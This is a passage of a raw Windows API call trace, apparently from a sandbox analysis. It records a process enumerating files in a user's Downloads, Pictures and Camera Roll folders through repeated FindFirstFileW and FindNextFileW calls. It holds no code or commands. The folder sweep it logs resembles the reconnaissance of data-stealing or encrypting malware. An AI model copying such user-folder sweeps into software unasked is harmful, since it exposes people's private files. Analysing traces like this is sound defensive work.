lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0098.247] FindClose (in: hFindFile=0x1ae50730 | out: hFindFile=0x1ae50730) returned 1 [0098.247] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Downloads\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xa2dc870b, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xa2dc870b, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50bb0 [0098.247] FindNextFileW (in: hFindFile=0x1ae50bb0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xa2dc870b, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xa2dc870b, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.247] FindNextFileW (in: hFindFile=0x1ae50bb0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0098.248] FindNextFileW (in: hFindFile=0x1ae50bb0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0098.248] FindClose (in: hFindFile=0x1ae50bb0 | out: hFindFile=0x1ae50bb0) returned 1 [0098.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ee10) returned 1 [0098.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71edd0) returned 1 [0098.248] CoTaskMemAlloc (cb=0x20c) returned 0x1ae53fe0 [0098.248] SHGetFolderPathW (in: hwnd=0x0, csidl=39, hToken=0x0, dwFlags=0x0, pszPath=0x1ae53fe0 | out: pszPath="C:\\Users\\FD1HVy\\Pictures") returned 0x0 [0098.248] CoTaskMemFree (pv=0x1ae53fe0) [0098.248] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures", nBufferLength=0x105, lpBuffer=0x71e8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures", lpFilePart=0x0) returned 0x18 [0098.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71eed0) returned 1 [0098.248] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures", nBufferLength=0x105, lpBuffer=0x71e970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures", lpFilePart=0x0) returned 0x18 [0098.248] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\*.*", lpFindFileData=0x71ebf0 | out: lpFindFileData=0x71ebf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf946f9e, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf946f9e, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae503d0 [0098.249] FindClose (in: hFindFile=0x1ae503d0 | out: hFindFile=0x1ae503d0) returned 1 [0098.249] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf946f9e, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf946f9e, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50fd0 [0098.249] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf946f9e, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf946f9e, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.249] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc05ea70, ftCreationTime.dwHighDateTime=0x1d628c2, ftLastAccessTime.dwLowDateTime=0xecf0a2d0, ftLastAccessTime.dwHighDateTime=0x1d62f2f, ftLastWriteTime.dwLowDateTime=0xecf0a2d0, ftLastWriteTime.dwHighDateTime=0x1d62f2f, nFileSizeHigh=0x0, nFileSizeLow=0xf8aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="2nSufFm2nHe0H6.gif", cAlternateFileName="2NSUFF~1.GIF")) returned 1 [0098.249] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Camera Roll", cAlternateFileName="CAMERA~1")) returned 1 [0098.249] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44053085, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44053085, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0098.249] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa55c7650, ftCreationTime.dwHighDateTime=0x1d62c7e, ftLastAccessTime.dwLowDateTime=0x7b37ead0, ftLastAccessTime.dwHighDateTime=0x1d62d64, ftLastWriteTime.dwLowDateTime=0x7b37ead0, ftLastWriteTime.dwHighDateTime=0x1d62d64, nFileSizeHigh=0x0, nFileSizeLow=0x10118, dwReserved0=0x0, dwReserved1=0x0, cFileName="eW-adj0sosb SJ3L.gif", cAlternateFileName="EW-ADJ~1.GIF")) returned 1 [0098.249] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ad7c030, ftCreationTime.dwHighDateTime=0x1d624c9, ftLastAccessTime.dwLowDateTime=0xae9b5290, ftLastAccessTime.dwHighDateTime=0x1d62b93, ftLastWriteTime.dwLowDateTime=0xae9b5290, ftLastWriteTime.dwHighDateTime=0x1d62b93, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="L_CU", cAlternateFileName="")) returned 1 [0098.250] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd130fa50, ftCreationTime.dwHighDateTime=0x1d624ca, ftLastAccessTime.dwLowDateTime=0xa56660f0, ftLastAccessTime.dwHighDateTime=0x1d62cf8, ftLastWriteTime.dwLowDateTime=0xa56660f0, ftLastWriteTime.dwHighDateTime=0x1d62cf8, nFileSizeHigh=0x0, nFileSizeLow=0xb8de, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSsNd96ygZ7 QtH.jpg", cAlternateFileName="PSSND9~1.JPG")) returned 1 [0098.250] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Pictures", cAlternateFileName="SAVEDP~1")) returned 1 [0098.250] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1399b050, ftCreationTime.dwHighDateTime=0x1d628b1, ftLastAccessTime.dwLowDateTime=0x8ecb09e0, ftLastAccessTime.dwHighDateTime=0x1d6313f, ftLastWriteTime.dwLowDateTime=0x8ecb09e0, ftLastWriteTime.dwHighDateTime=0x1d6313f, nFileSizeHigh=0x0, nFileSizeLow=0x7fdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="tWw8S4.png", cAlternateFileName="")) returned 1 [0098.250] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1399b050, ftCreationTime.dwHighDateTime=0x1d628b1, ftLastAccessTime.dwLowDateTime=0x8ecb09e0, ftLastAccessTime.dwHighDateTime=0x1d6313f, ftLastWriteTime.dwLowDateTime=0x8ecb09e0, ftLastWriteTime.dwHighDateTime=0x1d6313f, nFileSizeHigh=0x0, nFileSizeLow=0x7fdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="tWw8S4.png", cAlternateFileName="")) returned 0 [0098.250] FindClose (in: hFindFile=0x1ae50fd0 | out: hFindFile=0x1ae50fd0) returned 1 [0098.250] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf946f9e, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf946f9e, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50310 [0098.250] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf946f9e, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf946f9e, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.250] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc05ea70, ftCreationTime.dwHighDateTime=0x1d628c2, ftLastAccessTime.dwLowDateTime=0xecf0a2d0, ftLastAccessTime.dwHighDateTime=0x1d62f2f, ftLastWriteTime.dwLowDateTime=0xecf0a2d0, ftLastWriteTime.dwHighDateTime=0x1d62f2f, nFileSizeHigh=0x0, nFileSizeLow=0xf8aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="2nSufFm2nHe0H6.gif", cAlternateFileName="2NSUFF~1.GIF")) returned 1 [0098.250] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Camera Roll", cAlternateFileName="CAMERA~1")) returned 1 [0098.250] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44053085, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44053085, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0098.251] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa55c7650, ftCreationTime.dwHighDateTime=0x1d62c7e, ftLastAccessTime.dwLowDateTime=0x7b37ead0, ftLastAccessTime.dwHighDateTime=0x1d62d64, ftLastWriteTime.dwLowDateTime=0x7b37ead0, ftLastWriteTime.dwHighDateTime=0x1d62d64, nFileSizeHigh=0x0, nFileSizeLow=0x10118, dwReserved0=0x0, dwReserved1=0x0, cFileName="eW-adj0sosb SJ3L.gif", cAlternateFileName="EW-ADJ~1.GIF")) returned 1 [0098.251] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ad7c030, ftCreationTime.dwHighDateTime=0x1d624c9, ftLastAccessTime.dwLowDateTime=0xae9b5290, ftLastAccessTime.dwHighDateTime=0x1d62b93, ftLastWriteTime.dwLowDateTime=0xae9b5290, ftLastWriteTime.dwHighDateTime=0x1d62b93, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="L_CU", cAlternateFileName="")) returned 1 [0098.251] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd130fa50, ftCreationTime.dwHighDateTime=0x1d624ca, ftLastAccessTime.dwLowDateTime=0xa56660f0, ftLastAccessTime.dwHighDateTime=0x1d62cf8, ftLastWriteTime.dwLowDateTime=0xa56660f0, ftLastWriteTime.dwHighDateTime=0x1d62cf8, nFileSizeHigh=0x0, nFileSizeLow=0xb8de, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSsNd96ygZ7 QtH.jpg", cAlternateFileName="PSSND9~1.JPG")) returned 1 [0098.251] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Pictures", cAlternateFileName="SAVEDP~1")) returned 1 [0098.251] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1399b050, ftCreationTime.dwHighDateTime=0x1d628b1, ftLastAccessTime.dwLowDateTime=0x8ecb09e0, ftLastAccessTime.dwHighDateTime=0x1d6313f, ftLastWriteTime.dwLowDateTime=0x8ecb09e0, ftLastWriteTime.dwHighDateTime=0x1d6313f, nFileSizeHigh=0x0, nFileSizeLow=0x7fdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="tWw8S4.png", cAlternateFileName="")) returned 1 [0098.251] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0098.251] FindClose (in: hFindFile=0x1ae50310 | out: hFindFile=0x1ae50310) returned 1 [0098.251] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae503d0 [0098.252] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.252] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51278b1d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0098.252] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51278b1d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0098.252] FindClose (in: hFindFile=0x1ae503d0 | out: hFindFile=0x1ae503d0) returned 1 [0098.252] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50e50 [0098.252] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.253] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51278b1d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0098.253] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0098.253] FindClose (in: hFindFile=0x1ae50e50 | out: hFindFile=0x1ae50e50) returned 1 [0098.253] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ad7c030, ftCreationTime.dwHighDateTime=0x1d624c9, ftLastAccessTime.dwLowDateTime=0xae9b5290, ftLastAccessTime.dwHighDateTime=0x1d62b93, ftLastWriteTime.dwLowDateTime=0xae9b5290, ftLastWriteTime.dwHighDateTime=0x1d62b93, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50e50 [0098.253] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ad7c030, ftCreationTime.dwHighDateTime=0x1d624c9, ftLastAccessTime.dwLowDateTime=0xae9b5290, ftLastAccessTime.dwHighDateTime=0x1d62b93, ftLastWriteTime.dwLowDateTime=0xae9b5290, ftLastWriteTime.dwHighDateTime=0x1d62b93, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.253] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1f4c560, ftCreationTime.dwHighDateTime=0x1d62b40, ftLastAccessTime.dwLowDateTime=0x80e007a0, ftLastAccessTime.dwHighDateTime=0x1d62469, ftLastWriteTime.dwLowDateTime=0x80e007a0, ftLastWriteTime.dwHighDateTime=0x1d62469, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0XkSo", cAlternateFileName="")) returned 1 [0098.253] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x561ac4e0, ftCreationTime.dwHighDateTime=0x1d6326c, ftLastAccessTime.dwLowDateTime=0x20115450, ftLastAccessTime.dwHighDateTime=0x1d62f64, ftLastWriteTime.dwLowDateTime=0x20115450, ftLastWriteTime.dwHighDateTime=0x1d62f64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8mq_", cAlternateFileName="")) returned 1 [0098.253] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd72f30, ftCreationTime.dwHighDateTime=0x1d626ed, ftLastAccessTime.dwLowDateTime=0x59168960, ftLastAccessTime.dwHighDateTime=0x1d62bc1, ftLastWriteTime.dwLowDateTime=0x59168960, ftLastWriteTime.dwHighDateTime=0x1d62bc1, nFileSizeHigh=0x0, nFileSizeLow=0xccd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwKnrapL2.jpg", cAlternateFileName="DWKNRA~1.JPG")) returned 1 [0098.253] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x400955f0, ftCreationTime.dwHighDateTime=0x1d6281b, ftLastAccessTime.dwLowDateTime=0x63d25d70, ftLastAccessTime.dwHighDateTime=0x1d630d0, ftLastWriteTime.dwLowDateTime=0x63d25d70, ftLastWriteTime.dwHighDateTime=0x1d630d0, nFileSizeHigh=0x0, nFileSizeLow=0xeb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HA6vcr0InhEz.gif", cAlternateFileName="HA6VCR~1.GIF")) returned 1 [0098.254] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a70a70, ftCreationTime.dwHighDateTime=0x1d62ade, ftLastAccessTime.dwLowDateTime=0xcf67a20, ftLastAccessTime.dwHighDateTime=0x1d62605, ftLastWriteTime.dwLowDateTime=0xcf67a20, ftLastWriteTime.dwHighDateTime=0x1d62605, nFileSizeHigh=0x0, nFileSizeLow=0xe77f, dwReserved0=0x0, dwReserved1=0x0, cFileName="n6mK4.gif", cAlternateFileName="")) returned 1 [0098.254] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca9ba80, ftCreationTime.dwHighDateTime=0x1d62b7a, ftLastAccessTime.dwLowDateTime=0xfe73d200, ftLastAccessTime.dwHighDateTime=0x1d62964, ftLastWriteTime.dwLowDateTime=0xfe73d200, ftLastWriteTime.dwHighDateTime=0x1d62964, nFileSizeHigh=0x0, nFileSizeLow=0x18b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="n8nyFtRe13tfC uMDJXa.jpg", cAlternateFileName="N8NYFT~1.JPG")) returned 1 